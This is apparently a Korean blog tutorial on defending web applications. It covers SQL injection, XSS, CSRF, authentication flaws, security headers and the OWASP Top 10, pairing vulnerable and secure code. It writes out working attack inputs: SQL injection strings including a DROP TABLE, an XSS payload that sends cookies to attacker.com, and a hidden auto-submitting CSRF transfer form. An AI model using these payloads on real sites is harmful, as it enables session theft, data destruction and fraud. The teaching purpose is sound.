"인터넷에서 들어오는 모든 데이터는 악의적일 수 있다." 웹 개발자들이 서버와 클라이언트를 설계할 때 기본 베이스로 깔고 가야하는 격언입니다. 이 포스트에서는 면접에도 단골로 출제되고, 실제 서비스에 가장 흔하게 시도되는 공격들과 그 대응 방안을 코드 예시와 함께 상세히 알아보겠습니다.

1. SQL Injection

입력 폼에 클라이언트가 악의적인 SQL 쿼리문을 입력함으로써, 인증을 우회하거나 데이터베이스 내용을 파괴하는 공격입니다. 만약 로그인 폼의 이메일란에 ' OR '1'='1를 입력하게 되면 강제로 쿼리가 참(True)이 되어 로그인이 됩니다.

-- 취약한 쿼리 (문자열 직접 접합)
query = "SELECT * FROM users WHERE email = '" + email + "'"
-- 입력값: ' OR '1'='1
-- 실행되는 쿼리: SELECT * FROM users WHERE email = '' OR '1'='1'
-- 결과: 모든 사용자 반환 (항상 참)

-- 더 위험한 공격: 테이블 삭제
-- 이메일 입력값: '; DROP TABLE users; --

대응 방안: 최신의 ORM(Prisma, TypeORM, JPA) 등을 쓰게 되면 내부적으로 방어막이 되어 있는 경우가 대부분입니다만, Raw SQL 쿼리를 쓸 때는 Prepared Statement (파라미터 바인딩)를 의무적으로 사용해야 합니다.

// 안전한 방어 코드 (Node.js + mysql2)
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE email = ? AND password = ?',
  [email, hashedPassword]  // 입력값이 SQL로 해석되지 않고 데이터로만 처리
);

// Python + psycopg2
cursor.execute(
    "SELECT * FROM users WHERE email = %s",
    (email,)  # 튜플로 전달
)

2. Cross-Site Scripting (XSS)

게시판 등 사용자가 콘텐츠를 직접 입력할 수 있는 곳에 <script> 태그를 끼워 넣어 악성 자바스크립트가 브라우저 단에서 실행되도록 하는 공격입니다. 이를 통해 피해자의 세션 쿠키를 탈취하거나, 피싱 폼을 삽입하거나, 다른 사용자를 악성 사이트로 리다이렉트할 수 있습니다.

XSS는 세 가지 유형으로 나뉩니다.

  • 저장형 XSS (Stored XSS): 악성 스크립트가 데이터베이스에 저장되어, 해당 페이지를 방문하는 모든 사용자에게 실행됩니다. 가장 위험한 유형입니다.
  • 반사형 XSS (Reflected XSS): URL 파라미터에 스크립트를 삽입하여, 피해자가 악성 링크를 클릭할 때 실행됩니다.
  • DOM 기반 XSS: 클라이언트 사이드 JavaScript가 URL이나 다른 소스에서 가져온 데이터를 안전하게 처리하지 않아 발생합니다.
// 취약한 코드 - innerHTML에 사용자 입력 직접 삽입
document.getElementById('output').innerHTML = userInput;
// 입력값: <img src="x" onerror="document.location='http://attacker.com/steal?c='+document.cookie">

// 안전한 코드 - textContent 사용 (HTML로 해석하지 않음)
document.getElementById('output').textContent = userInput;

// 또는 DOMPurify 라이브러리로 새니타이징
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

대응 방안: 사용자가 입력하는 특수 문자를 HTML Entity 형태로 변환 처리하는 HTML Encode(Sanitizing) 과정을 프론트, 백엔드 양측에 둡니다. React, Vue 같은 현대 프레임워크는 기본적으로 JSX/템플릿을 통해 XSS를 방지하지만, dangerouslySetInnerHTML이나 v-html을 사용할 때는 반드시 새니타이징이 필요합니다.

추가적으로 Content-Security-Policy(CSP) HTTP 헤더를 설정하면, 허용된 소스에서의 스크립트만 실행되도록 브라우저 수준에서 제한할 수 있습니다.

3. CSRF (Cross-Site Request Forgery)

사용자가 자신이 원하지 않았지만 관리자도 모르게 정보가 수정되거나 결제가 되는 등, 제3의 악성 웹사이트에서 희생자의 브라우저 권한과 쿠키 토큰을 훔쳐 API 호출을 위조하는 공격입니다.

예를 들어 피해자가 자신의 뱅킹 서비스에 로그인된 상태에서 악성 사이트를 방문하면, 악성 사이트의 숨겨진 폼이 피해자의 쿠키를 이용해 자동으로 계좌이체 요청을 보낼 수 있습니다.

/* 악성 사이트의 CSRF 공격 코드 예시 */
<img src="https://bank.com/api/transfer?to=attacker&amount=1000000" style="display:none">
/* 또는 자동 제출되는 폼 */
<form action="https://bank.com/api/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000000">
</form>
<script>document.getElementById('csrf-form').submit();</script>

대응 방안: CSRF 토큰이라는 난수값을 포함한 요청에만 응답하거나, 브라우저 쿠키의 SameSite=Strict 보안 옵션을 부여함으로써 교차 출처 요청을 원천적으로 막을 수 있습니다. 현대 REST API에서는 로컬스토리지에 저장된 JWT를 Authorization 헤더로 전송하는 방식(쿠키를 사용하지 않음)으로 CSRF를 원천 차단하기도 합니다.

4. 인증(Authentication)과 인가(Authorization) 보안

많은 취약점이 인증/인가 로직의 허점에서 발생합니다.

  • 비밀번호 해싱: 비밀번호는 절대 평문으로 저장하면 안 됩니다. bcryptArgon2 같은 단방향 해시 함수로 저장하고, 레인보우 테이블 공격을 막기 위해 솔트(Salt)를 사용합니다.
  • JWT 보안: JWT(JSON Web Token) 사용 시 서명 검증을 반드시 수행하고, algorithm: 'none' 취약점을 차단합니다. 리프레시 토큰의 만료 시간을 짧게 설정하고, 토큰 탈취 시 무효화할 수 있는 방법을 마련합니다.
  • IDOR (Insecure Direct Object Reference): API 요청에서 사용자가 접근 권한이 없는 자원의 ID를 직접 입력할 수 있는 취약점입니다. 예: /api/invoice/12345에서 12345를 다른 숫자로 바꿔 다른 사용자의 청구서에 접근. 반드시 서버에서 요청자에게 해당 자원에 대한 접근 권한이 있는지 검증해야 합니다.
  • 비밀번호 브루트 포스: 로그인 시도 횟수를 제한하고(Rate Limiting), reCAPTCHA를 도입하여 자동화된 공격을 차단합니다.
// bcrypt로 비밀번호 안전하게 저장 (Node.js)
const bcrypt = require('bcrypt');
const SALT_ROUNDS = 12; // 높을수록 안전하지만 느려짐

// 회원가입 시
const hashedPassword = await bcrypt.hash(plainPassword, SALT_ROUNDS);
await db.users.create({ email, password: hashedPassword });

// 로그인 시
const isValid = await bcrypt.compare(plainPassword, storedHash);
if (!isValid) throw new Error('Invalid credentials');

5. HTTPS와 보안 HTTP 헤더

HTTPS(TLS/SSL)는 클라이언트와 서버 간의 통신을 암호화하여 중간자 공격(Man-in-the-Middle Attack)을 막습니다. 오늘날 HTTPS는 선택이 아닌 기본값입니다. Let's Encrypt를 통해 무료로 SSL 인증서를 발급받을 수 있습니다.

추가적으로 아래의 보안 HTTP 헤더를 설정하여 다양한 공격 표면을 줄일 수 있습니다.

  • Content-Security-Policy (CSP): 허용된 소스에서만 스크립트, 스타일, 이미지를 로드하도록 제한합니다.
  • X-Frame-Options: DENY: 클릭재킹(Clickjacking) 공격을 막기 위해 iframe 내 페이지 임베딩을 차단합니다.
  • Strict-Transport-Security (HSTS): 브라우저가 항상 HTTPS로만 연결하도록 강제합니다.
  • X-Content-Type-Options: nosniff: 브라우저가 MIME 타입을 추측하지 않도록 합니다.
// Express.js + Helmet 미들웨어로 보안 헤더 자동 설정
const helmet = require('helmet');
app.use(helmet());

// 수동 설정 예시
app.use((req, res, next) => {
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  res.setHeader('Content-Security-Policy',
    "default-src 'self'; script-src 'self' 'nonce-{random}'");
  next();
});

6. OWASP Top 10: 가장 중요한 보안 취약점 목록

OWASP(Open Web Application Security Project)는 매년 가장 위험한 웹 애플리케이션 보안 취약점 Top 10을 발표합니다. 개발자라면 이 목록을 숙지하고 있어야 합니다.

  • A01: 접근 제어 취약(Broken Access Control) — 권한 없는 자원에 접근 가능
  • A02: 암호화 실패(Cryptographic Failures) — 평문 데이터 전송/저장
  • A03: 인젝션(Injection) — SQL Injection, Command Injection 등
  • A04: 안전하지 않은 설계(Insecure Design) — 설계 단계의 보안 결함
  • A05: 보안 설정 오류(Security Misconfiguration) — 기본 비밀번호, 불필요한 권한 오픈
  • A06: 취약하고 오래된 컴포넌트(Vulnerable and Outdated Components) — 패치되지 않은 라이브러리
  • A07: 식별 및 인증 실패(Identification and Authentication Failures) — 세션 관리 취약
  • A08: 소프트웨어 및 데이터 무결성 실패 — 서드파티 패키지 신뢰 문제
  • A09: 보안 로깅 및 모니터링 실패 — 침해 사실을 뒤늦게 알게 됨
  • A10: 서버사이드 요청 위조(SSRF) — 서버가 내부 리소스 요청을 위조

마무리

보안은 언제나 사후 대처보다 사전 방어가 중요합니다. 프로젝트의 아키텍트와 핵심 로직 설계 단계에서부터 위 공격 포인트를 의식하게 되면 치명적인 사이버 해킹 사고로부터 내 땀방울을 지킬 수 있습니다. 코드 리뷰 시 보안 관점을 항상 포함하고, npm audit, Snyk 등의 도구로 의존성 취약점을 정기적으로 스캔하는 문화를 만드는 것이 중요합니다.